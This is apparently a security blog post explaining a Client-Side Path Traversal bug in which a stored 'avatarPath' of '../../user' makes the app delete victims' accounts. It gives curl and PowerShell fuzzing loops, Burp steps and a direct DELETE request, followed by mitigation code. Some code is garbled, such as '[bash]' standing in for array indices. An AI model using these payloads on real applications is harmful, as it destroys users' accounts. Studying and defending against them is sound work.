Listen to this Post
Introduction:
Client-Side Path Traversal (CSPT) flips traditional path traversal on its head: instead of an attacker reading arbitrary files, the server blindly trusts a client-supplied path and performs destructive actions like DELETE on that path. In the reported bug, a member with only club image upload privileges manipulated an `avatarPath` value to ../../user, causing every subsequent image upload by any privileged user to trigger a DELETE request against account deletion endpoints – effectively turning benign workflows into a self-detonating mass deletion bomb.
Learning Objectives:
- Understand how Client-Side Path Traversal (CSPT) bypasses server‑side authorization checks by hijacking authenticated application fetches.
- Learn to chain low‑privilege file upload flaws with DELETE endpoint manipulation to achieve account or tenant‑wide destruction.
- Implement mitigation strategies including server‑side canonicalization, path allowlisting, and hardened access control for delete operations.
You Should Know:
1. Anatomy of the CSPT‑to‑Deletion Attack Chain
The vulnerability emerges when an application stores a user‑controllable path (e.g., avatarPath) and later uses that value on the server side to construct a DELETE request. Because the DELETE is executed from within the app’s own authenticated context, authorization checks are skipped or misapplied.
Step‑by‑step flow as reported:
- Attacker is invited with minimal permissions – only `club_settings` (upload club image).
- During image upload, the attacker intercepts the request and changes the `avatarPath` parameter from `uploads/club/123/avatar.jpg` to
../../user. - The server stores this traversal payload in the database without validation.
- Later, any user who also has `club_settings` permission uploads a new club image.
- The application automatically sends a DELETE request to the previously stored `avatarPath` – now resolved to `/user` (account deletion endpoint).
- The DELETE runs using the victim’s own session, permanently deleting their account.
Demonstration with a vulnerable endpoint (Node.js/Express):
// VULNERABLE: trusts client-supplied avatarPath
app.post('/upload-avatar', (req, res) => {
const { avatarPath } = req.body; // e.g., "../../user"
db.save('user', req.session.userId, { avatarPath });
res.send('ok');
});
// When a new image is uploaded, the app deletes the old one
app.post('/update-avatar', async (req, res) => {
const oldPath = db.get('user', req.session.userId).avatarPath;
await fetch(`https://internal-api/delete/${oldPath}`, {
method: 'DELETE',
headers: { 'Authorization': req.session.token }
});
// ... upload new image
});
Testing with cURL (Linux/macOS):
1. Low-privilege attacker sets malicious avatarPath
curl -X POST https://target.com/upload-avatar \
-H "Cookie: session=attacker_session" \
-d '{"avatarPath":"../../user"}'
<ol>
<li>Victim with higher privileges triggers the DELETE
(victim uploads a new image normally, causing their account deletion)
2. Hands‑On Exploitation Using Burp Suite
Burp Suite is ideal for detecting and exploiting CSPT. Follow this guide to replicate the finding.
Step‑by‑step guide:
- Intercept the image upload request – Navigate to the club image upload function and turn on Burp Proxy interception.
- Locate the path parameter – Look for JSON or form fields like
avatarPath,profilePicPath,oldFilePath, ordeletePath. - Inject traversal payloads – Replace the value with
../../user,../../account/delete, or../organizations/{orgId}. Also try URL‑encoded variants (..%2f..%2fuser). - Forward and observe – If the server accepts the payload without normalizing or rejecting
.., the malicious path is stored. - Trigger the DELETE – As a different user (or the same user after privilege escalation), perform a legitimate action that causes the app to DELETE the old path. Common triggers: uploading a new image, updating a profile picture, or rotating a logo.
- Check for 200 OK or 204 No Content – Successful account deletion indicates a critical CSPT.
Pro tip: Use Burp’s Intruder with a list of path traversal payloads to fuzz all writable parameters.
- Linux / Windows Commands for Path Traversal Fuzzing
Use these commands to automate testing for CSPT on file upload and deletion endpoints.
Linux – cURL with payload list:
Generate payloads
for i in {1..5}; do echo -n "$(printf '../%.0s' $(seq 1 $i))user"; echo; done > payloads.txt
Fuzz the avatarPath parameter
while read p; do
curl -X POST https://target.com/upload-avatar \
-H "Cookie: session=attacker" \
-d "{\"avatarPath\":\"$p\"}" \
-w " | Payload: $p | HTTP %{http_code}\n"
done < payloads.txt
Windows PowerShell:
$payloads = @("../../user", "....\user", "..%2f..%2fuser", "....//....//user")
foreach ($p in $payloads) {
$body = @{avatarPath = $p} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/upload-avatar" `
-Method Post -Body $body -ContentType "application/json" `
-WebSession (New-Object Microsoft.PowerShell.Commands.WebRequestSession)
}
Test deletion endpoint directly (if you find a leaked endpoint):
curl -X DELETE https://target.com/api/user/123 \ -H "Authorization: Bearer $TOKEN" \ -H "X-Requested-By: attacker" check if custom headers bypass CSRF
4. Mitigation – Server‑Side Path Canonicalization and Allowlisting
Never trust client‑supplied paths for destructive operations. Implement a secure path handling layer.
Step‑by‑step hardening:
- Canonicalize the path – Resolve `..` sequences and symlinks before using the value. In Node.js:
const path = require('path'); const fs = require('fs'); const safePath = path.resolve('/base/uploads', userSuppliedPath); if (!safePath.startsWith('/base/uploads')) throw new Error('Path traversal detected'); - Use a mapping table – Instead of storing a filesystem path, store a random UUID and map it to the real path on the server. Example:
// Store: { id: "abc-123", realPath: "/uploads/club/123/avatar.jpg" } // DELETE operation uses the ID, never the client-supplied string - Validate DELETE targets – Before performing a DELETE, check that the resolved path belongs to the requesting user’s own resources (e.g., club ID matches session club ID).
- Implement idempotency keys – Require a unique token for each destructive operation, preventing blind deletion.
Python (Flask) example of safe deletion:
import os
from flask import request, abort
ALLOWED_DELETE_PATHS = {'/uploads/club/', '/temp/'}
def delete_file(safe_path):
Canonicalize
real_path = os.path.realpath(os.path.join('/var/www', safe_path))
if not any(real_path.startswith(allowed) for allowed in ALLOWED_DELETE_PATHS):
abort(403)
os.remove(real_path)
5. Preventing Authorization Bypass on DELETE Endpoints
The core issue is that the DELETE request fired from within the app used the victim’s session but never re‑validated the target. Enforce strict access control on every sensitive endpoint.
Step‑by‑step guide:
- Treat every request as untrusted – Even internal API calls must re‑authenticate the operation. Use a shared secret or short‑lived token for service‑to‑service calls.
- Implement resource ownership checks – Before deleting a user account, the endpoint must verify that the authenticated user ID matches the target user ID or that the user has explicit admin role for that organization.
- Add CSRF protection with double‑submit cookies – For any state‑changing request (including DELETE), require a random token in both a cookie and a custom header.
- Use HTTP method override with caution – Some apps translate `POST` with
_method=DELETE. Ensure path traversal isn’t hidden there as well.
Example of a robust DELETE handler (Node.js + JWT):
app.delete('/api/user/:userId', (req, res) => {
const token = req.headers.authorization?.split(' ')[bash];
const decoded = jwt.verify(token, process.env.JWT_SECRET);
if (decoded.userId !== req.params.userId && !decoded.isAdmin) {
return res.status(403).json({ error: 'Cannot delete another user' });
}
// ... perform deletion only after check passes
});
- Cloud Hardening for Storage Paths (S3, Azure Blob)
When using cloud storage, never construct delete keys from client input without normalization.
Step‑by‑step for AWS S3:
- Generate pre‑signed URLs for upload – Client receives a time‑limited URL to upload directly to S3. The server never sees a client‑supplied path.
- For deletions, use a separate mutation that accepts only an object ID – The server looks up the actual S3 key from a database.
- Enable S3 versioning and MFA delete – Provides recovery and an extra authorization layer.
- Configure bucket policies to deny DeleteObject on ‘../’ patterns – Use a condition with
StringLike:"Effect": "Deny", "Action": "s3:DeleteObject", "Resource": "arn:aws:s3:::mybucket/", "Condition": { "StringLike": { "s3:prefix": ["../", "..%2f"] } } -
API Security – RBAC Revalidation on Every Call
Microservices often forward user context via headers. An attacker can manipulate a low‑privilege service to issue a DELETE that a higher‑privileged service blindly trusts.
Step‑by‑step guide to harden API gateways:
- Use opaque tokens with embedded permissions – A JWT or token should contain the user’s role and scope (e.g., `[“club:image:upload”]` but NOT
["user:delete"]). - Validate token scopes at the endpoint – The account deletion endpoint must reject any token lacking `user:delete` scope, regardless of how the request arrived.
- Implement a ‘resource guard’ pattern – A middleware that extracts the target resource ID from the URL/body and compares it against the token’s allowed resources.
- Log all deletion attempts – Monitor for unexpected DELETE calls that originate from file upload endpoints.
Example of scope validation in a gateway (Open Policy Agent):
allow {
input.method == "DELETE"
input.path == ["api", "user"]
input.token.scopes[bash] == "user:delete"
input.token.user_id == input.body.user_id
}
What Undercode Say:
- Lowest privilege is a lie if the app trusts client paths – The reported bug proves that even minimal permissions can lead to total chaos when input validation is missing. Privilege escalation happens not by gaining roles, but by poisoning stored data.
- DELETE is the new GET for path traversal – Traditional path traversal focused on file read. Today, attackers weaponize DELETE operations to wipe out accounts, tenants, or entire cloud objects. Every deletion endpoint must re‑validate authorization and target ownership.
Analysis: This vulnerability class (CSPT) is under‑reported because testers still think of path traversal as a “file read only” bug. The shift toward microservices and client‑side state management (e.g., storing previous file paths in JSON blobs) creates ripe conditions. Organizations must treat any user‑supplied path that will be used in a destructive server‑side request as a zero‑trust input – canonicalize, map, and re‑authenticate. The fact that victims detonate the attack themselves (“zero warning”) makes this exceptionally hard to detect via traditional logging, as the DELETE appears to originate from a legitimate user session performing a normal action.
Prediction:
As more applications adopt real‑time collaboration features (shared file uploads, club avatars, team logos), CSPT will become a mainstream critical‑severity class. Attackers will chain CSPT with stored XSS, IDOR, and mass assignment to achieve ransomware‑like “delete all accounts” attacks. The industry will respond by deprecating client‑supplied path fields entirely, replacing them with server‑generated resource IDs and signed deletion tokens. Expect CVE‑2025‑???? patterns where popular CMS platforms and SaaS collaboration tools disclose similar “path traversal to account deletion” vulnerabilities within the next 12–18 months.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ahmadmugheera Lowest – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
